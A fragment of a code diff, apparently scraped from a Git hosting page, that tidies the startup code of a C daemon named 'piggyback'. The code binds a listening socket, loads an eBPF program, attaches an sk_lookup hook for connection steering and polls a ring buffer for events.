if (bind(accept_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
|
||||
struct sockaddr_in la4 = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(LISTEN_PORT),
|
||||
.sin_addr.s_addr = INADDR_ANY,
|
||||
};
|
||||
struct sockaddr_in la4 = { .sin_family = AF_INET, .sin_port = htons(LISTEN_PORT), .sin_addr.s_addr = INADDR_ANY };
|
||||
if (bind(accept_fd, (struct sockaddr *)&la4, sizeof(la4)) < 0) {
|
||||
log_err("bind port %d: %s", LISTEN_PORT, strerror(errno));
|
||||
return 1;
|
||||
log_err("bind port %d: %s", LISTEN_PORT, strerror(errno)); return 1;
|
||||
}
|
||||
}
|
||||
if (listen(accept_fd, 64) < 0) { log_err("listen: %s", strerror(errno)); return 1; }
|
||||
|
||||
// ── Load eBPF ─────────────────────────────────────────────────────────────
|
||||
// Load eBPF
|
||||
obj = bpf_object__open("piggyback.bpf.o");
|
||||
if (!obj) { log_err("bpf_object__open failed"); return 1; }
|
||||
if (bpf_object__load(obj)) { log_err("bpf_object__load failed"); return 1; }
|
||||
|
||||
int sock_map_fd = bpf_object__find_map_fd_by_name(obj, "daemon_sock");
|
||||
if (sock_map_fd >= 0) {
|
||||
uint32_t key = 0;
|
||||
uint32_t val = (uint32_t)accept_fd;
|
||||
uint32_t key = 0, val = (uint32_t)accept_fd;
|
||||
bpf_map_update_elem(sock_map_fd, &key, &val, BPF_ANY);
|
||||
}
|
||||
|
||||
@ -517,17 +435,15 @@ int main(void) {
|
||||
|
||||
struct bpf_program *sk_prog = bpf_object__find_program_by_name(obj, "piggyback_lookup");
|
||||
if (sk_prog && attach_sklookup(sk_prog) < 0)
|
||||
log_info("sk_lookup attach failed — SYN-level steering disabled");
|
||||
log_info("sk_lookup attach failed — SYN steering disabled, falling back");
|
||||
|
||||
int rb_fd = bpf_object__find_map_fd_by_name(obj, "events");
|
||||
struct ring_buffer *rb = ring_buffer__new(rb_fd, handle_event, NULL, NULL);
|
||||
if (!rb) { log_err("ring_buffer__new failed"); return 1; }
|
||||
|
||||
log_info("piggyback running on %s port %d → %s:%d",
|
||||
iface_name, LISTEN_PORT, FWD_HOST, FWD_PORT);
|
||||
log_info("running on %s port %d", iface_name, LISTEN_PORT);
|
||||
|
||||
while (running)
|
||||
ring_buffer__poll(rb, 100);
|
||||
while (running) ring_buffer__poll(rb, 100);
|
||||
|
||||
log_info("shutting down...");
|
||||
dump_stats();
|
||||
|
||||
Loading…
Reference in New Issue
Block a user